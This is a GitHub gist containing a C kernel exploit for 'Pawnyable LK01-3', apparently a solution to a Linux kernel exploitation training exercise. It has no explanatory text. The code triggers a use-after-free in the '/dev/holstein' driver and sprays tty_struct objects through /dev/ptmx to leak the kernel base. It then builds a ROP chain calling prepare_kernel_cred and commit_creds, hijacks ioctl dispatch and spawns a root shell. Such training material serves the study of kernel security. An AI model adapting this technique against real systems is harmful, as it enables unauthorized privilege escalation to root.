Created
November 28, 2022 07:24
-
-
Save brant-ruan/7e63d52447eab66eab4dc987a7ebdb7c to your computer and use it in GitHub Desktop.
Pawnyable LK01-3
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define SPRAY_NUM 100 | |
#define ofs_tty_ops 0xc39c60 | |
#define prepare_kernel_cred (kbase + 0x72560) | |
#define commit_creds (kbase + 0x723c0) | |
#define pop_rdi_ret (kbase + 0x14078a) | |
#define pop_rcx_ret (kbase + 0x0eb7e4) | |
#define push_rdx_pop_rsp_pop_ret (kbase + 0x14fbea) | |
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b) | |
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26) | |
void spawn_shell(); | |
uint64_t user_cs, user_ss, user_rflags, user_sp; | |
uint64_t user_rip = (uint64_t)spawn_shell; | |
unsigned long kbase; | |
unsigned long g_buf; | |
int spray[SPRAY_NUM]; | |
void spawn_shell() { | |
puts("[+] returned to user land"); | |
uid_t uid = getuid(); | |
if (uid == 0) { | |
printf("[+] got root (uid = %d)\n", uid); | |
} else { | |
printf("[!] failed to get root (uid: %d)\n", uid); | |
exit(-1); | |
} | |
puts("[*] spawning shell"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
void save_userland_state() { | |
puts("[*] saving user land state"); | |
__asm__(".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax"); | |
} | |
int main() { | |
save_userland_state(); | |
puts("[*] UAF-1: open fd1, fd2; close fd1"); | |
int fd1 = open("/dev/holstein", O_RDWR); | |
int fd2 = open("/dev/holstein", O_RDWR); | |
close(fd1); // free(g_buf) | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = 0; i < SPRAY_NUM / 2; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
printf("[*] leaking kernel base and g_buf with tty_struct\n"); | |
char buf[0x400]; | |
read(fd2, buf, 0x400); // read tty_struct | |
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops; | |
g_buf = *(unsigned long *)&buf[0x38] - 0x38; | |
printf("[+] leaked kernel base address: 0x%lx\n", kbase); | |
printf("[+] leaked g_buf address: 0x%lx\n", g_buf); | |
// craft rop chain and fake function table | |
printf("[*] crafting rop chain\n"); | |
unsigned long *chain = (unsigned long *)&buf; | |
*chain++ = pop_rdi_ret; | |
*chain++ = 0x0; | |
*chain++ = prepare_kernel_cred; | |
*chain++ = pop_rcx_ret; | |
*chain++ = 0; | |
*chain++ = mov_rdi_rax_rep_movsq_ret; | |
*chain++ = commit_creds; | |
*chain++ = pop_rcx_ret; | |
*chain++ = 0; | |
*chain++ = pop_rcx_ret; | |
*chain++ = 0; | |
*chain++ = swapgs_restore_regs_and_return_to_usermode; | |
*chain++ = 0x0; | |
*chain++ = 0x0; | |
*chain++ = user_rip; | |
*chain++ = user_cs; | |
*chain++ = user_rflags; | |
*chain++ = user_sp; | |
*chain++ = user_ss; | |
*(unsigned long *)&buf[0x3f8] = push_rdx_pop_rsp_pop_ret; | |
printf("[*] overwriting tty_struct target-1 with rop chain and fake ioctl ops\n"); | |
write(fd2, buf, 0x400); | |
puts("[*] UAF-2: open fd3, fd4; close fd3"); | |
int fd3 = open("/dev/holstein", O_RDWR); | |
int fd4 = open("/dev/holstein", O_RDWR); | |
close(fd3); // free(g_buf) | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr\n"); | |
read(fd4, buf, 0x400); | |
*(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8; | |
write(fd4, buf, 0x20); | |
printf("[*] invoking ioctl to hijack control flow\n"); | |
// hijack control flow | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
ioctl(spray[i], 0, g_buf - 8); | |
} | |
getchar(); | |
close(fd2); | |
close(fd4); | |
for (int i = 0; i < SPRAY_NUM; i++) | |
close(spray[i]); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment